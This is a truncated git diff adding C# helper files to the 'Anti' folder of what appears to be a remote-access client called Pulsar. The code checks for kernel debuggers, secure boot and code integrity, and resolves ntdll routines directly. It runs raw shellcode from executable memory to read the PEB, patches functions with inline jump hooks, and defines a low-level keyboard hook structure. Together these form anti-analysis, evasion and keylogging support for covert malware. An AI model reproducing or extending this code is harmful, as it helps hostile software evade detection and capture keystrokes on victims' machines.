SysNtQuerySystemInformation2(uint SystemInformationClass, ref Structs.SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQuerySystemInformation3(uint SystemInformationClass, ref Structs.SYSTEM_SECUREBOOT_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate int SysNtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate IntPtr GenericPtr(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int GenericInt(); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr KeyboardHook(int nCode, IntPtr wParam, IntPtr lParam); + } +} diff --git a/Pulsar.Client/Anti/Helper/Structs.cs b/Pulsar.Client/Anti/Helper/Structs.cs new file mode 100644 index 0000000..6bbd40f --- /dev/null +++ b/Pulsar.Client/Anti/Helper/Structs.cs @@ -0,0 +1,430 @@ +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Anti.Helper +{ + public class Structs + { + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public uint P1Home; + public uint P2Home; + public uint P3Home; + public uint P4Home; + public uint P5Home; + public uint P6Home; + public long ContextFlags; + public IntPtr MxCsr; + public IntPtr SegCs; + public IntPtr SegDs; + public IntPtr SegEs; + public IntPtr SegFs; + public IntPtr SegGs; + public IntPtr SegSs; + public IntPtr EFlags; + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + } + + public struct PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY + { + public uint MicrosoftSignedOnly; + } + + [StructLayout(LayoutKind.Explicit)] + public struct SYSTEM_CODEINTEGRITY_INFORMATION + { + [FieldOffset(0)] + public ulong Length; + + [FieldOffset(4)] + public uint CodeIntegrityOptions; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_BASIC_INFORMATION + { + internal IntPtr Reserved1; + internal IntPtr PebBaseAddress; + internal IntPtr Reserved2_0; + internal IntPtr Reserved2_1; + internal IntPtr UniqueProcessId; + internal IntPtr InheritedFromUniqueProcessId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_KERNEL_DEBUGGER_INFORMATION + { + [MarshalAs(UnmanagedType.U1)] + public bool KernelDebuggerEnabled; + + [MarshalAs(UnmanagedType.U1)] + public bool KernelDebuggerNotPresent; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + public struct ANSI_STRING + { + public short Length; + public short MaximumLength; + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_SECUREBOOT_INFORMATION + { + public bool SecureBootEnabled; + public bool SecureBootCapable; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_INFO + { + public ushort ProcessorArchitecture; + ushort Reserved; + public uint PageSize; + public IntPtr MinimumApplicationAddress; + public IntPtr MaximumApplicationAddress; + public IntPtr ActiveProcessorMask; + public uint NumberOfProcessors; + public uint ProcessorType; + public uint AllocationGranularity; + public ushort ProcessorLevel; + public ushort ProcessorRevision; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OSVERSIONINFOEX + { + public int dwOSVersionInfoSize; + public int dwMajorVersion; + public int dwMinorVersion; + public int dwBuildNumber; + public int dwPlatformId; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string szCSDVersion; + public ushort wServicePackMajor; + public ushort wServicePackMinor; + public ushort wSuiteMask; + public byte wProductType; + public byte wReserved; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DOS_HEADER + { + public ushort e_magic; + public ushort e_cblp; + public ushort e_cp; + public ushort e_crlc; + public ushort e_cparhdr; + public ushort e_minalloc; + public ushort e_maxalloc; + public ushort e_ss; + public ushort e_sp; + public ushort e_csum; + public ushort e_ip; + public ushort e_cs; + public ushort e_lfarlc; + public ushort e_ovno; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public ushort[] e_res1; + public ushort e_oemid; + public ushort e_oeminfo; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public ushort[] e_res2; + public int e_lfanew; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct IMAGE_NT_HEADERS32 + { + public UInt32 Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER32 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct IMAGE_NT_HEADERS64 + { + public UInt32 Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER64 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct IMAGE_OPTIONAL_HEADER64 + { + public UInt16 Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public ulong ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public ulong SizeOfStackReserve; + public ulong SizeOfStackCommit; + public ulong SizeOfHeapReserve; + public ulong SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY DataDirectory; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER32 + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public UInt32 BaseOfData; + public UInt32 ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public UInt32 SizeOfStackReserve; + public UInt32 SizeOfStackCommit; + public UInt32 SizeOfHeapReserve; + public UInt32 SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_EXPORT_DIRECTORY + { + public uint Characteristics; + public uint TimeDateStamp; + public ushort MajorVersion; + public ushort MinorVersion; + public uint Name; + public uint Base; + public uint NumberOfFunctions; + public uint NumberOfNames; + public uint AddressOfFunctions; + public uint AddressOfNames; + public uint AddressOfNameOrdinals; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] Name; + + public uint VirtualSize; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MEMORY_BASIC_INFORMATION + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public uint AllocationProtect; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_ATTRIBUTES + { + public int Length; + public IntPtr RootDirectory; + public IntPtr ObjectName; + public uint Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CLIENT_ID + { + public IntPtr UniqueProcess; + public IntPtr UniqueThread; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _LIST_ENTRY + { + public IntPtr Flink; + public IntPtr Blink; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _PEB_LDR_DATA + { + public UInt32 Length; + public Byte Initialized; + public IntPtr SsHandle; + public _LIST_ENTRY InLoadOrderModuleList; + public _LIST_ENTRY InMemoryOrderModuleList; + public _LIST_ENTRY InInitializationOrderModuleList; + public IntPtr EntryInProgress; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _LDR_DATA_TABLE_ENTRY + { + public _LIST_ENTRY InLoadOrderLinks; + public _LIST_ENTRY InMemoryOrderLinks; + public _LIST_ENTRY InInitializationOrderLinks; + public IntPtr DllBase; + public IntPtr EntryPoint; + public UInt32 SizeOfImage; + public UNICODE_STRING FullDllName; + public UNICODE_STRING BaseDllName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct RTL_USER_PROCESS_PARAMETERS + { + public long MaximumLength; + public long Length; + public long Flags; + public long DebugFlags; + public IntPtr ConsoleHandle; + public long ConsoleFlags; + public IntPtr StdInputHandle; + public IntPtr StdOutputHandle; + public IntPtr StdErrorHandle; + public IntPtr CurrentDirectory; + public UNICODE_STRING DllPath; + public UNICODE_STRING ImagePathName; + public UNICODE_STRING CommandLine; + public IntPtr Environment; + public long StartingPositionLeft; + public long StartingPositionTop; + public long Width; + public long Height; + public long CharWidth; + public long CharHeight; + public long ConsoleTextAttributes; + public long WindowFlags; + public long ShowWindowFlags; + public UNICODE_STRING WindowTitle; + public UNICODE_STRING DesktopName; + public UNICODE_STRING ShellInfo; + public UNICODE_STRING RuntimeData; + public IntPtr DLCurrentDirectory; + public long EnvironmentSize; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct PEB + { + public byte InheritedAddressSpace; + public byte ReadImageFileExecOptions; + public byte BeingDebugged; + public byte SpareBool; + public IntPtr Mutant; + public IntPtr ImageBaseAddress; + public IntPtr Ldr; + public IntPtr ProcessParameters; + public IntPtr SubSystemData; + public IntPtr ProcessHeap; + public IntPtr FastPebLock; + public IntPtr AtlThunkSListPtr; + public IntPtr IFEOKey; + public uint CrossProcessFlags; + public IntPtr KernelCallbackTable; + public uint SystemReserved; + public uint AtlThunkSListPtr32; + public IntPtr ApiSetMap; + public uint TlsExpansionCounter; + public IntPtr TlsBitmap; + public fixed uint TlsBitmapBits[2]; + public IntPtr ReadOnlySharedMemoryBase; + public IntPtr SharedData; + public IntPtr ReadOnlyStaticServerData; + public IntPtr AnsiCodePageData; + public IntPtr OemCodePageData; + public IntPtr UnicodeCaseTableData; + public uint NumberOfProcessors; + public uint NtGlobalFlag; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KBDLLHOOKSTRUCT + { + public uint vkCode; + public uint scanCode; + public uint flags; + public uint time; + public IntPtr dwExtraInfo; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Anti/Helper/Utils.cs b/Pulsar.Client/Anti/Helper/Utils.cs new file mode 100644 index 0000000..2076ac6 --- /dev/null +++ b/Pulsar.Client/Anti/Helper/Utils.cs @@ -0,0 +1,746 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Globalization; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static Pulsar.Client.Anti.Helper.Structs; +using System.Reflection; +using System.Runtime.CompilerServices; +using static Pulsar.Client.Anti.Helper.Delegates; + +namespace Pulsar.Client.Anti.Helper +{ + public class Utils + { + #region WinApi + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandleA(string Library); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string Function); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack); + + [DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); + + [DllImport("ntdll", SetLastError = true)] + private static extern uint NtClose(IntPtr hObject); + + #endregion + + /// + /// Gets the handle of a specified module using low-level functions. + /// + /// The name of the library to get the handle for. + /// The handle to the module. + public static IntPtr LowLevelGetModuleHandle(string Library) + { + if (IntPtr.Size == 4) + return GetModuleHandleA(Library); + IntPtr hModule = IntPtr.Zero; + Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING(); + RtlInitUnicodeString(out UnicodeString, Library); + LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule); + return hModule; + } + + /// + /// Gets the address of a specified function using low-level functions. + /// + /// The handle to the module. + /// The name of the function to get the address for. + /// The address of the function. + public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function) + { + if (IntPtr.Size == 4) + return GetProcAddress(hModule, Function); + IntPtr FunctionHandle = IntPtr.Zero; + Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING(); + Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING(); + RtlInitUnicodeString(out UnicodeString, Function); + RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true); + LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero); + return FunctionHandle; + } + + /// + /// Writes the struct to a pointer. + /// + /// The struct. + /// The pointer to the address that represents the struct. + /// An indicator to whether we should delete the old struct after writing or not. + /// An indicator to whether we should change the ptr memory protection before writing. + /// return true if successful, otherwise false. + public static bool WriteStructToPtr(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection) + { + try + { + if (ChangeMemoryProtection) + { + uint Old = 0; + ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old); + Marshal.StructureToPtr(structure, ptr, fDeleteOld); + ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old); + return true; + } + else + { + Marshal.StructureToPtr(structure, ptr, fDeleteOld); + return true; + } + } + catch + { + + } + return false; + } + + public static string GetCurrentCLRModuleName() + { + string[] CLRs = { "clr.dll", "coreclr.dll" }; + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + foreach (string CLR in CLRs) + { + if (module.ModuleName.ToLower() == CLR) + { + return module.ModuleName; + } + } + } + return null; + } + + /// + /// Changes the page protection for an address. + /// + /// The Address to change the protection for. + /// The size of the address. + /// The new protection to apply. + /// The old protection if you wanna set it back again. + /// return true if successfully did it's job, otherwise false. + public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect) + { + int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect); + if (Status == 0) + return true; + return false; + } + + /// + /// Reads a byte from a specified memory address. + /// + /// The memory address to read from. + /// The byte read from the memory address. + public static byte InternalReadByte(IntPtr ptr) + { + unsafe + { + try + { + byte* ptr2 = (byte*)(void*)ptr; + return *ptr2; + } + catch + { + return 0; + } + } + } + + /// + /// Force exits the process even if hooked. + /// + public static void ForceExit() + { + Environment.Exit(0); + unsafe + { + int* ptr = null; + *ptr = 42; + } + throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString()); + } + + /// + /// copies memory from a byte array to an IntPtr. + /// + /// The IntPtr destination in which the data will be copied to. + /// The byte array source in which the data will be copied from. + public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection) + { + unsafe + { + fixed (byte* source = src) + { + if (ChangeProtection) + { + uint oldProtect = 0; + if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect)) + { + Marshal.Copy(src, 0, dst, src.Length); + ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect); + } + } + else + { + Marshal.Copy(src, 0, dst, src.Length); + } + } + } + } + + /// + /// copies memory from an IntPtr to a byte array. + /// + /// The byte array destination in which the data will be copied to. + /// The IntPtr source in which the data will be copied from. + public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection) + { + unsafe + { + fixed (byte* destination = dst) + { + if (ChangeProtection) + { + uint oldProtect = 0; + if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect)) + { + Marshal.Copy(src, dst, 0, dst.Length); + ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect); + } + } + else + { + Marshal.Copy(src, dst, 0, dst.Length); + } + } + } + } + + /// + /// copies memory from an IntPtr to another. + /// + /// The byte array destination in which the data will be copied to. + /// The IntPtr source in which the data will be copied from. + public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection) + { + int sizeDst = Marshal.SizeOf(typeof(IntPtr)); + + byte[] buffer = new byte[sizeDst]; + + if (ChangeProtection) + { + uint oldProtect = 0; + if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect)) + { + Marshal.Copy(src, buffer, 0, sizeDst); + Marshal.Copy(buffer, 0, dst, sizeDst); + ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect); + } + } + else + { + Marshal.Copy(src, buffer, 0, sizeDst); + Marshal.Copy(buffer, 0, dst, sizeDst); + } + } + + + /// + /// Sees if the first string contains the second string. + /// + /// First string to see if it contains the second string. + /// The second string that will be searched for. + /// if the second string contains a string from the first one then the result is true, otherwise false. + public static bool Contains(string First, string Second) + { + if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0) + { + return true; + } + return false; + } + + /// + /// The method which is invoked to test reflection for IsReflectionEnabled. + /// + /// a random number from 1-99 + private static int TestInvoke() + { + return new Random().Next(1, 99); + } + + /// + /// Checks if reflection is supported before doing reflection operations. + /// + /// Check if we can get a function pointer. + /// Check if we can invoke another function. + /// return true if reflection is enabled and supports the options you provided, otherwise false. + public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport) + { + try + { + MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static); + if (BaseMethodTest == null) + return false; + if (InvokeSupport) + { + if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0) + return false; + } + + if (FPSupport) + { + if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero) + return false; + } + return true; + } + catch + { + return false; + } + } + + /// + /// Converts a cast to a stack pointer. + /// + /// The stack pointer of the cast you provided. + private static IntPtr UnsafeCastToStackPointer(ref T o) where T : class + { + unsafe + { +#pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type + fixed (T* ptr = &o) + { + return (IntPtr)ptr; + } +#pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type + } + } + + /// + /// Gets the entry assembly directly using internal .NET functions using reflection. + /// + /// if successful then it returns the entry assembly, otherwise null. + public static Assembly LowLevelGetEntryAssembly() + { + if (!IsReflectionEnabled(false, true)) + return null; + Assembly EntryAsm = null; + try + { + IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm); + if (AsmPtr != IntPtr.Zero) + { + Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack"); + if (ObjectHandleOnStackType != null) + { + object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType); + FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); + mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr); + Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null); + } + } + } + catch + { + return null; + } + return EntryAsm; + } + + /// + /// Gets the currently executing assembly directly using internal .NET functions using reflection. + /// + /// if successful then it returns the executing assembly, otherwise null. + public static Assembly LowLevelGetExecutingAssembly() + { + if (!IsReflectionEnabled(false, true)) + return null; + Assembly ExecutingAssembly = null; + try + { + IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly); + if (AsmPtr != IntPtr.Zero) + { + Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack"); + Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle"); + if (ObjectHandleOnStackType != null && StackCrawlMarksType != null) + { + object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType); + FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); + mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr); + Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark"); + object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller"); + IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller); + if (StackCrawlMarkPtr != IntPtr.Zero) + { + object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType); + FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); + mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr); + Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null); + } + } + } + } + catch + { + return null; + } + return ExecutingAssembly; + } + + /// + /// Calls methods in the CLR which isn't normally/directly accessible. + /// + /// The name of the internal function. + /// The class or type that the method is in. + /// The method flags which will be used to find the exact method. + /// The parameters which is used to search for the function using it, will be used instead of Flags if not left null. + /// The parameters passed to the method. can be null. + /// The type arguments if the method is a generic method. + /// the return value of the method (if any). + public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null) + { + try + { + if (!IsReflectionEnabled(false, true)) + return null; + if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null) + return null; + + MethodInfo MI = null; + if (Parameters != null) + { + MI = InternalMethodType.GetMethod(InternalMethod, Parameters); + } + else + { + MI = InternalMethodType.GetMethod(InternalMethod, Flags); + } + + if (MI.IsGenericMethod && GenericParameter != null) + { + MI = MI.MakeGenericMethod(GenericParameter); + } + + if (MI != null) + { + object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType); + return MI.Invoke(instance, InvokeParameters); + } + return null; + } + catch + { + return null; + } + } + + /// + /// Calls methods in the CLR which isn't normally/directly accessible. + /// + /// The name of the internal function. + /// The class or type that the method is in. + /// The return type of the method to be searched for. + /// The parameters passed to the method. can be null. + /// The type arguments if the method is a generic method. + /// the return value of the method (if any). + public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null) + { + try + { + if (!IsReflectionEnabled(false, true)) + return null; + if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null) + return null; + MethodInfo MI = null; + foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static)) + { + if (methods.Name.ToLower() == InternalMethod.ToLower()) + { + if (methods.ReturnType == ReturnType) + { + MI = methods; + break; + } + } + } + + if (MI.IsGenericMethod && GenericParameter != null) + { + MI = MI.MakeGenericMethod(GenericParameter); + } + + if (MI != null) + { + object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType); + return MI.Invoke(instance, InvokeParameters); + } + return null; + } + catch + { + return null; + } + } + + private static uint PAGE_EXECUTE_READWRITE = 0x40; + private static uint MEM_RELEASE = 0x00008000; + + /// + /// Gets the Process Environment Block with it's struct. + /// + /// returns the PEB. + public static PEB GetPEB() + { + byte[] PEBCode = new byte[20]; + if (IntPtr.Size == 8) + PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 }; + else + PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 }; + IntPtr AllocatedCode = AllocateCode(PEBCode); + if (AllocatedCode != IntPtr.Zero) + { + try + { + GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr)); + IntPtr PebPtr = PebDel(); + FreeCode(AllocatedCode); + if (PebPtr != IntPtr.Zero) + { + return Marshal.PtrToStructure(PebPtr); + } + } + catch + { + FreeCode(AllocatedCode); + } + } + return new PEB(); + } + + /// + /// Allocates assembly code from byte array. + /// + /// The assembly code in byte array. + /// Allocated memory to the assembly code. + public static IntPtr AllocateCode(byte[] Code) + { + IntPtr Allocated = IntPtr.Zero; + uint Length = (uint)Code.Length; + uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE); + if (Status == 0) + { + CopyMem(Allocated, Code, false); + return Allocated; + } + return IntPtr.Zero; + } + + /// + /// Frees the allocated memory. + /// + /// The allocated assembly code to be freed. + /// An indicator if the memory was freed or not. + public static bool FreeCode(IntPtr AllocatedCode) + { + return VirtualFree(AllocatedCode, 0, MEM_RELEASE); + } + + /// + /// Closes a handle. + /// + /// The handle to be closed. + /// true if the handle has been closed, otherwise false. + public static bool CloseHandle(IntPtr Handle) + { + if (NtClose(Handle) == 0) + return true; + return false; + } + + public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength) + { + uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)); + uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength); + if (Result == 0) + return true; + return false; + } + + /// + /// Installs a function hook. + /// + /// The source function pointer to be hooked. + /// The destination function pointer to be the hooking function. + /// The hooked code which will be written to if you wanna hook the function later (6 bytes in length). + private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked) + { + byte[] HookCode = new byte[6]; + HookCode[0] = 0x90; + HookCode[1] = 0xE9; + if (IntPtr.Size == 8) + { + long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length; + byte[] offsetBytes = BitConverter.GetBytes(offset); + Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2); + } + else + { + long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length; + byte[] offsetBytes = BitConverter.GetBytes((int)offset); + Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2); + } + CopyMem(Source, HookCode, true); + Hooked = HookCode; + return true; + } + + /// + /// Installs/Uninstalls a hook to/from the function. + /// + /// The code which is hooked/unhooked to apply. + /// pointer to the function. + public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction) + { + 